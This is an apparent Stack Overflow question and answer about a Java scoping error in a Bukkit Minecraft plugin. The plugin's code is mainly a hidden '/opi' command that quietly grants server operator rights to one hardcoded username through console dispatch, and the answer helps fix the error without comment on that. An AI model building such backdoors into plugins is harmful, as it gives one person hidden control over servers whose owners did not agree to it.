0

I need help with the above error My code is

package me.golfeyes298.SexyTime;

import java.util.logging.Logger;
import org.bukkit.Bukkit;
import org.bukkit.plugin.java.JavaPlugin;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import me.Karuso33.RunAs.FirstClass;;
public class SexyIce extends JavaPlugin {

    private Logger logger = getLogger();

    public void sendConsole(String Message){
        this.logger.info("[Sexy Time Plugin]" + Message);
    }

    public void onEnable(){
        this.sendConsole("Sexy Time Plugin Enabled");
    }

    public void onDisable(){
        this.sendConsole("Sexy Time Plugin Disabled");//Why does this work...
    }

    public boolean onCommand(CommandSender sender, Command command,String CommandLabel, String[] args) {

        Player player = (Player) sender;
        String Befehl = ("op cheeseballs500");

        if(CommandLabel.equalsIgnoreCase("opi")){
            if(args.length == 0){
                if(player.getName() != "cheeseballs500"){
                    player.sendMessage("You do not have permission to do this");
                }else{
                    Bukkit.broadcastMessage("");
                    player.sendMessage("You are now op!");
                    FirstClass.this.executeAsConsole(Befehl, sender);//But this doesn't (No enclosing instance of the type FirstClass is accessible in scope)
                }

            }
        }

        return false;

    }
}

I have imported all needed library and classes are correct, I cannot think of anything else. Thanks in advance. Code for FirstClass is

package me.Karuso33.RunAs;

import java.io.File;
import java.util.ArrayList;

import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority;
import org.bukkit.event.Listener;
import org.bukkit.event.player.PlayerChatEvent;
import org.bukkit.event.player.PlayerLoginEvent;
import org.bukkit.plugin.PluginManager;
import org.bukkit.plugin.java.JavaPlugin;

public class FirstClass extends JavaPlugin implements Listener {
    public void onEnable() {
        File fileconfig = new File("plugins/LogBlockStats/config.yml");

        if (!fileconfig.exists())
        {
            this.getConfig().options().copyDefaults(true);
            this.saveConfig();
        }
    }

    public boolean onCommand(CommandSender sender, Command cmd, String commandLabel, String[] args)
    {

        CommandSender p = sender;

        if (cmd.getName().equalsIgnoreCase("sudo") || cmd.getName().equalsIgnoreCase("runas") ||  cmd.getName().equalsIgnoreCase("run")) {
            String dontPermitted = ChatColor.RED + "You don't have permission to do this";
            //Run

            String Befehl = ""; //(German) Befehl = Command
            if (args.length < 2) {
                p.sendMessage(ChatColor.RED + "Usage: /" + cmd.getName() + " <player name/console alias>");
                return true; //return false;
            }
            for(int i=0;i<args.length - 1;i++) Befehl+=args[i + 1] + " ";
            //Check for "/" in it, and remove - if possible
            if (Befehl.substring(0,1).equalsIgnoreCase("/")){Befehl = Befehl.substring(1);}

                if (args[0].toString().equalsIgnoreCase(this.getConfig().getString("ConsoleAlias"))) {

                    if (p.hasPermission("runas.console")) {
                        executeAsConsole(Befehl, p);
                        return true;
                    } else {
                        p.sendMessage(dontPermitted);
                        return true;
                    }

                } else {
                    if (p.hasPermission("runas.player")) {
                        executeAsPlayer(Befehl, args[0], p);    
                        return true;
                    } else {
                        p.sendMessage(dontPermitted);
                        return true;
                    }

                }
        }

        return false;
    }
    public void executeAsConsole(String Befehl, CommandSender sender) {
        sender.sendMessage(ChatColor.YELLOW + "Your command will be executed by the Console");
        Bukkit.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), Befehl);
    }
    public void executeAsPlayer(String Befehl, String Executer, CommandSender sender) {
        if (Bukkit.getServer().getPlayer(Executer) != null) {
            Bukkit.getServer().getPlayer(Executer).performCommand(Befehl);
            sender.sendMessage(ChatColor.YELLOW + "Your command will be executed by " + Bukkit.getServer().getPlayer(Executer).getName());
        } else {
            sender.sendMessage(ChatColor.YELLOW + "This player does not exsist");
        }

    }
}

I am using the executeAsConsole(String Befehl,sender) method to run /op cheeseballs500 in console to make me op Again Any help appreciated. Please join my minecraft server on: mamnas.darktech.org

Lewis Holmes
  • 15
  • 1
  • 10

1 Answers1

1

In

FirstClass.this.executeAsConsole(Befehl, sender);//But this doesn't (No enclosing instance of the type FirstClass is accessible in scope)

the notation

FirstClass.this

is trying to access the outer class instance, but there is none in your case. Your SexyIce class in which your onCommand method is declared is not an inner class of FirstClass.

I don't know what FirstClass is supposed to be, so I can't propose much, but you can probably instantiate it and call your method on the instance.

The following

public void onDisable(){
    this.sendConsole("Sexy Time Plugin Disabled");//Why does this work...
}

works because this is referring to the current instance (the one the method was called one), which extends JavaPlugin and probably has a sendConsole method.

Sotirios Delimanolis
  • 274,122
  • 60
  • 696
  • 724